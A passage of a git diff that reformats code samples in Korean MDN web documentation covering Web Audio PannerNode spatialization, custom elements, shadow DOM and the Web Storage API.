 [`coneInnerAngle`](/ko/docs/Web/API/PannerNode/coneInnerAngle)과 [`coneOuterAngle`](/ko/docs/Web/API/PannerNode/coneOuterAngle) 속성은 어디서 볼륨이 발생되는지를 명시합니다. 둘 다 기본 값은 360도입니다. 이 예제의 라디오는 기본 값보다 작은 원뿔을 가지도록 정의될 것입니다. 내부 원뿔은 gain (볼륨) 이 항상 최대로 발생되는 곳이고 외부 원뿔은 gain이 줄어들기 시작하는 곳입니다. 이 gain은 [`coneOuterGain`](/ko/docs/Web/API/PannerNode/coneOuterGain)의 값에 의해 감소됩니다. 이 매개변수들의 값을 저장할 상수를 생성합시다.
@@ -84,7 +85,7 @@ const outerGain = 0.3;
 다음 매개변수는 [`distanceModel`](/ko/docs/Web/API/PannerNode/distanceModel)입니다. 이 매개변수는 오직 `linear`, `inverse`, 또는 `exponential`로만 설정될 수 있습니다. 이 값들은 각기 다른 알고리즘인데, 리스너로부터 멀어질 때 오디오 소스의 볼륨을 감소시키기 위해 사용됩니다. `linear`를 사용합시다. 간단하니까요.
 
 ```js
-const distanceModel = 'linear';
+const distanceModel = "linear";
 ```
 
 우리는 리스너와 음원 사이의 최대 거리 ([`maxDistance`](/ko/docs/Web/API/PannerNode/maxDistance)) 를 설정할 수 있습니다. 만약 음원이 이 지점으로부터 더 멀리 이동하면 볼륨은 더 이상 감소되지 않을 것입니다. 최대 거리 설정은 유용할 수 있습니다. 거리감을 흉내내고자 하나 볼륨이 꺼져 버린다면 곤란할 수 있겠죠. 최대 거리는 기본값으로 10,000 (단위없는 상대 값) 입니다. 아래와 같이 설정할 수 있습니다.
@@ -93,7 +94,7 @@ const distanceModel = 'linear';
 const maxDistance = 10000;
 ```
 
-또한 참조 거리 ([`refDistance`](/en-US/docs/Web/API/PannerNode/refDistance))가 있는데, 이는 거리 모델에 의해 사용됩니다. 이 또한 기본값 `1`로 설정할 수 있습니다.
+또한 참조 거리 ([`refDistance`](/ko/docs/Web/API/PannerNode/refDistance))가 있는데, 이는 거리 모델에 의해 사용됩니다. 이 또한 기본값 `1`로 설정할 수 있습니다.
 
 ```js
 const refDistance = 1;
@@ -123,21 +124,21 @@ z 방향의 음수 값에 주목하세요. 음수 값은 라디오가 우리를
 
 ```js
 const panner = new PannerNode(audioCtx, {
-    panningModel: pannerModel,
-    distanceModel: distanceModel,
-    positionX: positionX,
-    positionY: positionY,
-    positionZ: positionZ,
-    orientationX: orientationX,
-    orientationY: orientationY,
-    orientationZ: orientationZ,
-    refDistance: refDistance,
-    maxDistance: maxDistance,
-    rolloffFactor: rollOff,
-    coneInnerAngle: innerCone,
-    coneOuterAngle: outerCone,
-    coneOuterGain: outerGain
-})
+  panningModel: pannerModel,
+  distanceModel: distanceModel,
+  positionX: positionX,
+  positionY: positionY,
+  positionZ: positionZ,
+  orientationX: orientationX,
+  orientationY: orientationY,
+  orientationZ: orientationZ,
+  refDistance: refDistance,
+  maxDistance: maxDistance,
+  rolloffFactor: rollOff,
+  coneInnerAngle: innerCone,
+  coneOuterAngle: outerCone,
+  coneOuterGain: outerGain,
+});
 ```
 
 ## 라디오 이동시키기
@@ -147,17 +148,19 @@ const panner = new PannerNode(audioCtx, {
 인터페이스에 대한 것들을 설정해 봅시다. 첫째로, 우리가 움직이기를 원하는 요소들에 대한 참조를 얻습니다. 그리고 나서 실제로 움직임을 수행하기 위해 [CSS transforms](/ko/docs/Web/CSS/CSS_Transforms)을 설정했을 때 변경될 값들에 대한 참조를 저장합니다. 마지막으로, 경계를 설정해 라디오가 어떠한 방향으로든 너무 멀리 가지 않도록 할 것입니다.
 
 ```js
-const moveControls = document.querySelector('#move-controls').querySelectorAll('button');
-const boombox = document.querySelector('.boombox-body');
+const moveControls = document
+  .querySelector("#move-controls")
+  .querySelectorAll("button");
+const boombox = document.querySelector(".boombox-body");
 
 // css transforms를 위한 값들
 let transform = {
-    xAxis: 0,
-    yAxis: 0,
-    zAxis: 0.8,
-    rotateX: 0,
-    rotateY: 0
-}
+  xAxis: 0,
+  yAxis: 0,
+  zAxis: 0.8,
+  rotateX: 0,
+  rotateY: 0,
+};
 
 // 경계 설정
 const topBound = -posY;
@@ -174,32 +177,32 @@ const outerBound = 1.5;
 
 ```js
 function moveBoombox(direction) {
-    switch (direction) {
-        case 'left':
-            if (transform.xAxis > leftBound) {
-                transform.xAxis -= 5;
-                panner.positionX.value -= 0.1;
-            }
-        break;
-        case 'up':
-            if (transform.yAxis > topBound) {
-                transform.yAxis -= 5;
-                panner.positionY.value -= 0.3;
-            }
-        break;
-        case 'right':
-            if (transform.xAxis < rightBound) {
-                transform.xAxis += 5;
-                panner.positionX.value += 0.1;
-            }
-        break;
-        case 'down':
-            if (transform.yAxis < bottomBound) {
-                transform.yAxis += 5;
-                panner.positionY.value += 0.3;
-            }
-        break;
-    }
+  switch (direction) {
+    case "left":
+      if (transform.xAxis > leftBound) {
+        transform.xAxis -= 5;
+        panner.positionX.value -= 0.1;
+      }
+      break;
+    case "up":
+      if (transform.yAxis > topBound) {
+        transform.yAxis -= 5;
+        panner.positionY.value -= 0.3;
+      }
+      break;
+    case "right":
+      if (transform.xAxis < rightBound) {
+        transform.xAxis += 5;
+        panner.positionX.value += 0.1;
+      }
+      break;
+    case "down":
+      if (transform.yAxis < bottomBound) {
+        transform.yAxis += 5;
+        panner.positionY.value += 0.3;
+      }
+      break;
+  }
 }
 ```
 
@@ -228,15 +231,15 @@ break;
 // 회전 상수 설정
 const rotationRate = 60; // 더 큰 수일수록 소리 회전은 더 느려짐
 
-const q = Math.PI/rotationRate; // 회전 증가 (라디안)
+const q = Math.PI / rotationRate; // 회전 증가 (라디안)
 ```
 
 또한 이를 사용하여 회전된 각도를 계산할 수 있는데, 이는 CSS transform에 사용될 것입니다 (CSS transform을 위해 x축과 y축 모두가 필요하다는 것에 주목하세요).
 
 ```js
 // css를 위해 각도 얻기
-const degreesX = (q * 180)/Math.PI;
-const degreesY = (q * 180)/Math.PI;
+const degreesX = (q * 180) / Math.PI;
+const degreesY = (q * 180) / Math.PI;
 ```
 
 예제로써 좌회전을 살펴봅시다. y축을 주위로 이동하기 위해, 패너 좌표의 x방향과 z방향을 변경할 필요가 있습니다.
@@ -297,92 +300,119 @@ break;
 
 ```js
 function moveBoombox(direction, prevMove) {
-    switch (direction) {
-        case 'left':
-            if (transform.xAxis > leftBound) {
-                transform.xAxis -= 5;
-                panner.positionX.value -= 0.1;
-            }
-        break;
-        case 'up':
-            if (transform.yAxis > topBound) {
-                transform.yAxis -= 5;
-                panner.positionY.value -= 0.3;
-            }
-        break;
-        case 'right':
-            if (transform.xAxis < rightBound) {
-                transform.xAxis += 5;
-                panner.positionX.value += 0.1;
-            }
-        break;
-        case 'down':
-            if (transform.yAxis < bottomBound) {
-                transform.yAxis += 5;
-                panner.positionY.value += 0.3;
-            }
-        break;
-        case 'back':
-            if (transform.zAxis > innerBound) {
-                transform.zAxis -= 0.01;
-                panner.positionZ.value += 40;
-            }
-        break;
-        case 'forward':
-            if (transform.zAxis < outerBound) {
-                transform.zAxis += 0.01;
-                panner.positionZ.value -= 40;
-            }
-        break;
-        case 'rotate-left':
-            transform.rotateY -= degreesY;
-
-            // '좌' 는 음수 각 증가를 가지는 y축에 대한 회전입니다
-            z = panner.orientationZ.value*Math.cos(q) - panner.orientationX.value*Math.sin(q);
-            x = panner.orientationZ.value*Math.sin(q) + panner.orientationX.value*Math.cos(q);
-            y = panner.orientationY.value;
-
-            panner.orientationX.value = x;
-            panner.orientationY.value = y;
-            panner.orientationZ.value = z;
-        break;
-        case 'rotate-right':
-            transform.rotateY += degreesY;
-            // '우' 는 양수 각 증가를 가지는 y축에 대한 회전입니다
-            z = panner.orientationZ.value*Math.cos(-q) - panner.orientationX.value*Math.sin(-q);
-            x = panner.orientationZ.value*Math.sin(-q) + panner.orientationX.value*Math.cos(-q);
-            y = panner.orientationY.value;
-            panner.orientationX.value = x;
-            panner.orientationY.value = y;
-            panner.orientationZ.value = z;
-        break;
-        case 'rotate-up':
-            transform.rotateX += degreesX;
-            // '상' 은 음수 각 증가를 가지는 x축에 대한 회전입니다
-            z = panner.orientationZ.value*Math.cos(-q) - panner.orientationY.value*Math.sin(-q);
-            y = panner.orientationZ.value*Math.sin(-q) + panner.orientationY.value*Math.cos(-q);
-            x = panner.orientationX.value;
-            panner.orientationX.value = x;
-            panner.orientationY.value = y;
-            panner.orientationZ.value = z;
-        break;
-        case 'rotate-down':
-            transform.rotateX -= degreesX;
-            // '하' 는 양수 각 증가를 가지는 x축에 대한 회전입니다
-            z = panner.orientationZ.value*Math.cos(q) - panner.orientationY.value*Math.sin(q);
-            y = panner.orientationZ.value*Math.sin(q) + panner.orientationY.value*Math.cos(q);
-            x = panner.orientationX.value;
-            panner.orientationX.value = x;
-            panner.orientationY.value = y;
-            panner.orientationZ.value = z;
-        break;
-    }
-
-  boombox.style.transform = 'translateX('+transform.xAxis+'px) translateY('+transform.yAxis+'px) scale('+transform.zAxis+') rotateY('+transform.rotateY+'deg) rotateX('+transform.rotateX+'deg)';
+  switch (direction) {
+    case "left":
+      if (transform.xAxis > leftBound) {
+        transform.xAxis -= 5;
+        panner.positionX.value -= 0.1;
+      }
+      break;
+    case "up":
+      if (transform.yAxis > topBound) {
+        transform.yAxis -= 5;
+        panner.positionY.value -= 0.3;
+      }
+      break;
+    case "right":
+      if (transform.xAxis < rightBound) {
+        transform.xAxis += 5;
+        panner.positionX.value += 0.1;
+      }
+      break;
+    case "down":
+      if (transform.yAxis < bottomBound) {
+        transform.yAxis += 5;
+        panner.positionY.value += 0.3;
+      }
+      break;
+    case "back":
+      if (transform.zAxis > innerBound) {
+        transform.zAxis -= 0.01;
+        panner.positionZ.value += 40;
+      }
+      break;
+    case "forward":
+      if (transform.zAxis < outerBound) {
+        transform.zAxis += 0.01;
+        panner.positionZ.value -= 40;
+      }
+      break;
+    case "rotate-left":
+      transform.rotateY -= degreesY;
+
+      // '좌' 는 음수 각 증가를 가지는 y축에 대한 회전입니다
+      z =
+        panner.orientationZ.value * Math.cos(q) -
+        panner.orientationX.value * Math.sin(q);
+      x =
+        panner.orientationZ.value * Math.sin(q) +
+        panner.orientationX.value * Math.cos(q);
+      y = panner.orientationY.value;
+
+      panner.orientationX.value = x;
+      panner.orientationY.value = y;
+      panner.orientationZ.value = z;
+      break;
+    case "rotate-right":
+      transform.rotateY += degreesY;
+      // '우' 는 양수 각 증가를 가지는 y축에 대한 회전입니다
+      z =
+        panner.orientationZ.value * Math.cos(-q) -
+        panner.orientationX.value * Math.sin(-q);
+      x =
+        panner.orientationZ.value * Math.sin(-q) +
+        panner.orientationX.value * Math.cos(-q);
+      y = panner.orientationY.value;
+      panner.orientationX.value = x;
+      panner.orientationY.value = y;
+      panner.orientationZ.value = z;
+      break;
+    case "rotate-up":
+      transform.rotateX += degreesX;
+      // '상' 은 음수 각 증가를 가지는 x축에 대한 회전입니다
+      z =
+        panner.orientationZ.value * Math.cos(-q) -
+        panner.orientationY.value * Math.sin(-q);
+      y =
+        panner.orientationZ.value * Math.sin(-q) +
+        panner.orientationY.value * Math.cos(-q);
+      x = panner.orientationX.value;
+      panner.orientationX.value = x;
+      panner.orientationY.value = y;
+      panner.orientationZ.value = z;
+      break;
+    case "rotate-down":
+      transform.rotateX -= degreesX;
+      // '하' 는 양수 각 증가를 가지는 x축에 대한 회전입니다
+      z =
+        panner.orientationZ.value * Math.cos(q) -
+        panner.orientationY.value * Math.sin(q);
+      y =
+        panner.orientationZ.value * Math.sin(q) +
+        panner.orientationY.value * Math.cos(q);
+      x = panner.orientationX.value;
+      panner.orientationX.value = x;
+      panner.orientationY.value = y;
+      panner.orientationZ.value = z;
+      break;
+  }
+
+  boombox.style.transform =
+    "translateX(" +
+    transform.xAxis +
+    "px) translateY(" +
+    transform.yAxis +
+    "px) scale(" +
+    transform.zAxis +
+    ") rotateY(" +
+    transform.rotateY +
+    "deg) rotateX(" +
+    transform.rotateX +
+    "deg)";
 
   const move = prevMove || {};
   move.frameId = requestAnimationFrame(() => moveBoombox(direction, move));
-    return move;
+  return move;
 }
 ```
 
@@ -392,26 +422,30 @@ function moveBoombox(direction, prevMove) {
 
 ```js
 // 각각의 조종 버튼에 대해, 라디오를 움직이고 위치 값을 변경합니다
-moveControls.forEach(function(el) {
-
-    let moving;
-    el.addEventListener('mousedown', function() {
-
-        let direction = this.dataset.control;
-        if (moving && moving.frameId) {
-            window.cancelAnimationFrame(moving.frameId);
-        }
-        moving = moveBoombox(direction);
-
-    }, false);
-
-    window.addEventListener('mouseup', function() {
-        if (moving && moving.frameId) {
-            window.cancelAnimationFrame(moving.frameId);
-        }
-    }, false)
-
-})
+moveControls.forEach(function (el) {
+  let moving;
+  el.addEventListener(
+    "mousedown",
+    function () {
+      let direction = this.dataset.control;
+      if (moving && moving.frameId) {
+        window.cancelAnimationFrame(moving.frameId);
+      }
+      moving = moveBoombox(direction);
+    },
+    false,
+  );
+
+  window.addEventListener(
+    "mouseup",
+    function () {
+      if (moving && moving.frameId) {
+        window.cancelAnimationFrame(moving.frameId);
+      }
+    },
+    false,
+  );
+});
 ```
 
 ## 그래프 연결하기
@@ -426,7 +460,7 @@ HTML에는 패너 노드에 의해 영향을 받을 audio 요소가 있습니다
 
 ```js
 // audio 요소를 얻습니다
-const audioElement = document.querySelector('audio');
+const audioElement = document.querySelector("audio");
 
 // audio 요소를 오디오 컨텍스트에 전달합니다
 const track = audioContext.createMediaElementSource(audioElement);
@@ -446,25 +480,27 @@ track.connect(panner).connect(audioCtx.destination);
 
 ```js
 // 재생 버튼을 선택합니다
-const playButton = document.querySelector('button');
-
-playButton.addEventListener('click', function() {
-
-// 컨텍스트가 연기(suspended) 상태에 있는지 검사합니다 (자동 재생 정책)
-if (audioContext.state === 'suspended') {
-audioContext.resume();
-}
-
-// 상태에 따라 곡을 재생하거나 정지합니다
-if (this.dataset.playing === 'false') {
-audioElement.play();
-this.dataset.playing = 'true';
-} else if (this.dataset.playing === 'true') {
-audioElement.pause();
-this.dataset.playing = 'false';
-}
+const playButton = document.querySelector("button");
+
+playButton.addEventListener(
+  "click",
+  function () {
+    // 컨텍스트가 연기(suspended) 상태에 있는지 검사합니다 (자동 재생 정책)
+    if (audioContext.state === "suspended") {
+      audioContext.resume();
+    }
 
-}, false);
+    // 상태에 따라 곡을 재생하거나 정지합니다
+    if (this.dataset.playing === "false") {
+      audioElement.play();
+      this.dataset.playing = "true";
+    } else if (this.dataset.playing === "true") {
+      audioElement.pause();
+      this.dataset.playing = "false";
+    }
+  },
+  false,
+);
 ```
 
 오디오의 재생/제어와 오디오 그래프에 대한 더욱 자세한 정보는 [Web Audio API 사용하기](/ko/docs/Web/API/Web_Audio_API/Using_Web_Audio_API)에서 찾아볼 수 있습니다.
diff --git a/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/web-audio-spatialization.png b/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/web-audio-spatialization.png
deleted file mode 100644
index 18a359e5c12f22..00000000000000
Binary files a/files/ko/web/api/web_audio_api/web_audio_spatialization_basics/web-audio-spatialization.png and /dev/null differ
diff --git a/files/ko/web/api/web_components/index.md b/files/ko/web/api/web_components/index.md
index b130821692313b..ae64473b7b1a19 100644
--- a/files/ko/web/api/web_components/index.md
+++ b/files/ko/web/api/web_components/index.md
@@ -46,6 +46,7 @@ original_slug: Web/Web_Components
 - {{domxref("Window.customElements")}}
   - : `CustomElementRegistry` 객체에 대한 참조를 반환합니다.
 - [라이프 사이클 콜백](/ko/docs/Web/Web_Components/Using_custom_elements#Using_the_lifecycle_callbacks)
+
   - : 커스텀 엘리먼트의 클래스 정의 내에 정의되어 동작에 영향을 주는 특별한 콜백 함수입니다.
 
     - `connectedCallback`: 커스텀 엘리먼트가 처음으로 다큐먼트의 DOM 에 연결되었을 때 호출됩니다.
@@ -105,6 +106,7 @@ original_slug: Web/Web_Components
 - [`slot`](/ko/docs/Web/HTML/Global_attributes/slot) 전역 HTML 어트리뷰트
   - : shadow DOM shadow 트리내의 slot을 엘리먼트로 할당합니다.
 - {{domxref("Slotable")}}
+
   - : {{domxref("Element")}} 와 {{domxref("Text")}} 노드로 구현된 믹스인입니다. {{htmlelement("slot")}} 엘리먼트의 컨텐츠로 만들기 위한 기능들을 정의합니다. 믹스인은 노드가 삽입된 슬롯의 참조를 반환하는 하나의 어트리뷰트 {{domxref("Slotable.assignedSlot")}} 을 정의합니다.
 
 - {{domxref("Element")}} 확장 기능
diff --git a/files/ko/web/api/web_components/using_custom_elements/index.md b/files/ko/web/api/web_components/using_custom_elements/index.md
index a6940b87819a21..e6278cfecdc25a 100644
--- a/files/ko/web/api/web_components/using_custom_elements/index.md
+++ b/files/ko/web/api/web_components/using_custom_elements/index.md
@@ -21,7 +21,7 @@ original_slug: Web/Web_Components/Using_custom_elements
 예를 들어, 사용자 정의 [단어 카운트 요소](https://mdn.github.io/web-components-examples/word-count-web-component/)를 다음과 같이 정의할 수 있습니다.
 
 ```js
-customElements.define('word-count', WordCount, { extends: 'p' });
+customElements.define("word-count", WordCount, { extends: "p" });
 ```
 
 이 요소는 `word-count` 라고 불리며, 이것의 클래스 객체는 `WordCount` 이고, 이것은 {{htmlelement("p")}}요소를 확장합니다.
@@ -79,42 +79,47 @@ class PopUpInfo extends HTMLElement {
 
 ```js
 // shadow root을 생성합니다
-this.attachShadow({mode: 'open'}); // 'this.shadowRoot'을 설정하고 반환합니다
+this.attachShadow({ mode: "open" }); // 'this.shadowRoot'을 설정하고 반환합니다
 
 // (중첩된) span 요소들을 생성합니다
-const wrapper = document.createElement('span');
-wrapper.setAttribute('class','wrapper');
-const icon = wrapper.appendChild(document.createElement('span'));
-icon.setAttribute('class','icon');
-icon.setAttribute('tabindex', 0);
+const wrapper = document.createElement("span");
+wrapper.setAttribute("class", "wrapper");
+const icon = wrapper.appendChild(document.createElement("span"));
+icon.setAttribute("class", "icon");
+icon.setAttribute("tabindex", 0);
 // 정의된 특성으로부터의 아이콘 혹은 기본 아이콘을 삽입합니다
-const img = icon.appendChild(document.createElement('img'));
-img.src = this.hasAttribute('src') ? this.getAttribute('src') : 'img/default.png';
+const img = icon.appendChild(document.createElement("img"));
+img.src = this.hasAttribute("src")
+  ? this.getAttribute("src")
+  : "img/default.png";
 
-const info = wrapper.appendChild(document.createElement('span'));
-info.setAttribute('class','info');
+const info = wrapper.appendChild(document.createElement("span"));
+info.setAttribute("class", "info");
 // 특성의 내용을 취하고 그것을 info span 내부에 넣습니다
-info.textContent = this.getAttribute('data-text');
+info.textContent = this.getAttribute("data-text");
 
 // shadow dom에 적용할 몇 가지 CSS를 생성합니다
-const style = document.createElement('style');
-style.textContent = '.wrapper {' +
-// 간결함을 위해 CSS 생략됨
+const style = document.createElement("style");
+style.textContent =
+  ".wrapper {" +
+  // 간결함을 위해 CSS 생략됨
 
-// 생성된 요소들을 shadow DOM에 부착합니다
-this.shadowRoot.append(style,wrapper);
+  // 생성된 요소들을 shadow DOM에 부착합니다
+  this.shadowRoot.append(style, wrapper);
 ```
 
 마지막으로, `CustomElementRegistry` 에 사용자 정의 요소를 앞에서 언급된 `define()` 메서드를 사용해 등록합니다. 매개변수에서 요소의 이름과, 그리고 나서 요소의 기능을 정의하는 클래스명을 명시합니다.
 
 ```js
-customElements.define('popup-info', PopUpInfo);
+customElements.define("popup-info", PopUpInfo);
 ```
 
 이 요소는 이제 페이지에서 사용 가능합니다. HTML 전체에서, 요소를 다음과 같이 사용합니다.
 
 ```html
-<popup-info img="img/alt.png" data-text="Your card validation code (CVC)
+<popup-info
+  img="img/alt.png"
+  data-text="Your card validation code (CVC)
   is an extra security feature — it is the last 3 or 4 numbers on the
   back of your card."></popup-info>
 ```
@@ -129,9 +134,9 @@ customElements.define('popup-info', PopUpInfo);
 
 ```js
 // 외부 스타일을 shadow dom에 적용하기
-const linkElem = document.createElement('link');
-linkElem.setAttribute('rel', 'stylesheet');
-linkElem.setAttribute('href', 'style.css');
+const linkElem = document.createElement("link");
+linkElem.setAttribute("rel", "stylesheet");
+linkElem.setAttribute("href", "style.css");
 
 // 생성된 요소를 shadow dom에 부착하기
 shadow.appendChild(linkElem);
@@ -165,16 +170,14 @@ class ExpandingList extends HTMLUListElement {
 다음으로, 전과 같이 `define()` 메서드를 사용하여 요소를 등록하나, 이번엔 이 사용자 정의 요소가 어떤 요소를 상속받는지를 나타내는 옵션 객체를 포함합니다.
 
 ```js
-customElements.define('expanding-list', ExpandingList, { extends: "ul" });
+customElements.define("expanding-list", ExpandingList, { extends: "ul" });
 ```
 
 웹 document에서 이 내장 요소를 사용하는 것은 또한 어느 정도 다르게 보입니다.
 
 ```html
 <ul is="expanding-list">
-
   ...
-
 </ul>
 ```
 
@@ -189,6 +192,7 @@ customElements.define('expanding-list', ExpandingList, { extends: "ul" });
 - `connectedCallback`: 사용자 정의 요소가 문서에 연결된 요소에 추가될 때마다 호출됩니다. 이것은 노드가 이동될 때마다 발생할 것이며, 요소의 내용이 완전히 해석되기 전에 발생할 지도 모릅니다.
 
   > **참고:** `connectedCallback` 은 요소가 더 이상 연결되지 않았을 때 호출될 수도 있으므로, 확실하게 하기 위해선 {{domxref("Node.isConnected")}}를 사용하세요.
+
 - `disconnectedCallback`: 사용자 정의 요소가 document의 DOM에서 연결 해제되었을 때마다 호출됩니다.
 - `adoptedCallback`: 사용자 정의 요소가 새로운 document로 이동되었을 때마다 호출됩니다.
 - `attributeChangedCallback`: 사용자 정의 요소의 특성들 중 하나가 추가되거나, 제거되거나, 변경될 때마다 호출됩니다. 어떤 특성이 변경에 대해 알릴지는 static get `observedAttributes` 메서드에서 명시됩니다.
@@ -202,10 +206,10 @@ customElements.define('expanding-list', ExpandingList, { extends: "ul" });
 클래스 생성자는 정말로 간단합니다. shadow DOM을 요소에 부착하고, 빈 {{htmlelement("div")}} 와 {{htmlelement("style")}} 요소를 shadow root에 부착합니다.
 
 ```js
-const shadow = this.attachShadow({mode: 'open'});
+const shadow = this.attachShadow({ mode: "open" });
 
-const div = document.createElement('div');
-const style = document.createElement('style');
+const div = document.createElement("div");
+const style = document.createElement("style");
 shadow.appendChild(style);
 shadow.appendChild(div);
 ```
@@ -215,11 +219,11 @@ shadow.appendChild(div);
 ```js
 function updateStyle(elem) {
   const shadow = elem.shadowRoot;
-  shadow.querySelector('style').textContent = `
+  shadow.querySelector("style").textContent = `
     div {
-      width: ${elem.getAttribute('l')}px;
-      height: ${elem.getAttribute('l')}px;
-      background-color: ${elem.getAttribute('c')};
+      width: ${elem.getAttribute("l")}px;
+      height: ${elem.getAttribute("l")}px;
+      background-color: ${elem.getAttribute("c")};
     }
   `;
 }
diff --git a/files/ko/web/api/web_components/using_shadow_dom/index.md b/files/ko/web/api/web_components/using_shadow_dom/index.md
index f6993beb9bfa88..8237da2761dcf4 100644
--- a/files/ko/web/api/web_components/using_shadow_dom/index.md
+++ b/files/ko/web/api/web_components/using_shadow_dom/index.md
@@ -15,17 +15,22 @@ original_slug: Web/Web_Components/Using_shadow_DOM
 이 문서는 여러분이 이미 [DOM (Document Object Model)](/ko/docs/Web/API/Document_Object_Model/Introduction)의 개념에 익숙하다고 가정합니다. DOM이란 마크업 문서에서 나타나는 여러 가지 요소들과 텍스트 문자열을 나타내는 연결된 노드들의 트리같은 구조입니다 (웹 문서의 경우 보통 HTML 문서). 예제로서, 다음의 HTML fragment를 고려해 보세요.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
-    <meta charset="utf-8">
+    <meta charset="utf-8" />
     <title>Simple DOM example</title>
   </head>
   <body>
-      <section>
-        <img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
-        <p>Here we will add a link to the <a href="https://www.mozilla.org/">Mozilla homepage</a></p>
-      </section>
+    <section>
+      <img
+        src="dinosaur.png"
+        alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth." />
+      <p>
+        Here we will add a link to the
+        <a href="https://www.mozilla.org/">Mozilla homepage</a>
+      </p>
+    </section>
   </body>
 </html>
 ```
@@ -55,8 +60,8 @@ shadow DOM이 어떤 방법으로든 새로운 것이 아니라는 것에 주목
 {{domxref("Element.attachShadow()")}} 메서드를 사용하여 어떠한 요소에든 shadow root을 부착할 수 있습니다. 이 메서드는 매개변수로 하나의 옵션을 포함하는 옵션 객체를 취합니다. 그 옵션이란 `mode` 이며, `open` 혹은 `closed` 의 값을 가집니다.
 
 ```js
-let shadow = elementRef.attachShadow({mode: 'open'});
-let shadow = elementRef.attachShadow({mode: 'closed'});
+let shadow = elementRef.attachShadow({ mode: "open" });
+let shadow = elementRef.attachShadow({ mode: "closed" });
 ```
 
 `open` 은 메인 페이지 맥락에서 작성된 JavaScript를 사용하여 shadow DOM에 접근할 수 있음을 의미합니다. 예를 들자면 {{domxref("Element.shadowRoot")}} 속성을 사용하여 접근할 수 있습니다.
@@ -72,13 +77,13 @@ let myShadowDom = myCustomElem.shadowRoot;
 만약 shadow DOM을 사용자 정의 요소에 사용자 정의 요소 생성자의 일부로써 부착한다면 (단연코 shadow DOM의 가장 유용한 적용), 다음과 같이 할 것입니다.
 
 ```js
-let shadow = this.attachShadow({mode: 'open'});
+let shadow = this.attachShadow({ mode: "open" });
 ```
 
 shadow DOM을 요소에 부착했을 때, shadow DOM을 조작하는 것은 단지 통상적인 DOM 조작에 사용되는 것과 같은 DOM API를 사용하는 것의 문제입니다.
 
 ```js
-let para = document.createElement('p');
+let para = document.createElement("p");
 shadow.appendChild(para);
 // 등등
 ```
@@ -108,7 +113,7 @@ class PopUpInfo extends HTMLElement {
 
 ```js
 // shadow root을 생성합니다
-let shadow = this.attachShadow({mode: 'open'});
+let shadow = this.attachShadow({ mode: "open" });
 ```
 
 ### shadow DOM 구조를 생성합니다
@@ -117,26 +122,26 @@ let shadow = this.attachShadow({mode: 'open'});
 
 ```js
 // span들을 생성합니다
-let wrapper = document.createElement('span');
-wrapper.setAttribute('class', 'wrapper');
-let icon = document.createElement('span');
-icon.setAttribute('class', 'icon');
-icon.setAttribute('tabindex', 0);
-let info = document.createElement('span');
-info.setAttribute('class', 'info');
+let wrapper = document.createElement("span");
+wrapper.setAttribute("class", "wrapper");
+let icon = document.createElement("span");
+icon.setAttribute("class", "icon");
+icon.setAttribute("tabindex", 0);
+let info = document.createElement("span");
+info.setAttribute("class", "info");
 
 // 특성의 내용을 취하고 그것을 info span 내부에 넣습니다
-let text = this.getAttribute('data-text');
+let text = this.getAttribute("data-text");
 info.textContent = text;
 
 // 아이콘을 삽입합니다
 let imgUrl;
-if(this.hasAttribute('img')) {
-  imgUrl = this.getAttribute('img');
+if (this.hasAttribute("img")) {
+  imgUrl = this.getAttribute("img");
 } else {
-  imgUrl = 'img/default.png';
+  imgUrl = "img/default.png";
 }
-let img = document.createElement('img');
+let img = document.createElement("img");
 img.src = imgUrl;
 icon.appendChild(img);
 ```
@@ -147,7 +152,7 @@ icon.appendChild(img);
 
 ```js
 // shadow DOM에 적용할 몇 가지 CSS를 생성합니다
-let style = document.createElement('style');
+let style = document.createElement("style");
 
 style.textContent = `
 .wrapper {
@@ -197,13 +202,15 @@ wrapper.appendChild(info);
 
 ```js
 // 새로운 요소를 정의합니다
-customElements.define('popup-info', PopUpInfo);
+customElements.define("popup-info", PopUpInfo);
 ```
 
 ```html
-<popup-info img="img/alt.png" data-text="Your card validation code (CVC) is an extra
+<popup-info
+  img="img/alt.png"
+  data-text="Your card validation code (CVC) is an extra
                                     security feature — it is the last 3 or 4
-                                    numbers on the back of your card.">
+                                    numbers on the back of your card."></popup-info>
 ```
 
 ### 내부 스타일 대 외부 스타일
@@ -214,9 +221,9 @@ customElements.define('popup-info', PopUpInfo);
 
 ```js
 // 외부 스타일을 shadow dom에 적용합니다
-const linkElem = document.createElement('link');
-linkElem.setAttribute('rel', 'stylesheet');
-linkElem.setAttribute('href', 'style.css');
+const linkElem = document.createElement("link");
+linkElem.setAttribute("rel", "stylesheet");
+linkElem.setAttribute("href", "style.css");
 
 // 생성된 요소를 shadow dom에 적용합니다
 shadow.appendChild(linkElem);
diff --git a/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.md b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.md
index cbf183e519319b..4f08f01f3cc599 100644
--- a/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.md
+++ b/files/ko/web/api/web_storage_api/using_the_web_storage_api/index.md
@@ -2,6 +2,7 @@
 title: Web Storage API 사용하기
 slug: Web/API/Web_Storage_API/Using_the_Web_Storage_API
 ---
+
 {{DefaultAPISidebar("Web Storage API")}}
 
 Web Storage API는 브라우저에서 쿠키를 사용하는 것보다 훨씬 직관적으로 key/value 데이터를 안전하게 저장할 수 있는 메커니즘을 제공합니다.
@@ -40,38 +41,39 @@ localStorage를 지원하는 브라우저는 windows 객체에 localStorage라
 
 ```js
 function storageAvailable(type) {
-    var storage;
-    try {
-        storage = window[type];
-        var x = '__storage_test__';
-        storage.setItem(x, x);
-        storage.removeItem(x);
-        return true;
-    }
-    catch(e) {
-        return e instanceof DOMException && (
-            // Firefox를 제외한 모든 브라우저
-            e.code === 22 ||
-            // Firefox
-            e.code === 1014 ||
-            // 코드가 존재하지 않을 수도 있기 떄문에 이름 필드도 확인합니다.
-            // Firefox를 제외한 모든 브라우저
-            e.name === 'QuotaExceededError' ||
-            // Firefox
-            e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
-            // 이미 저장된 것이있는 경우에만 QuotaExceededError를 확인하십시오.
-            (storage && storage.length !== 0);
-    }
+  var storage;
+  try {
+    storage = window[type];
+    var x = "__storage_test__";
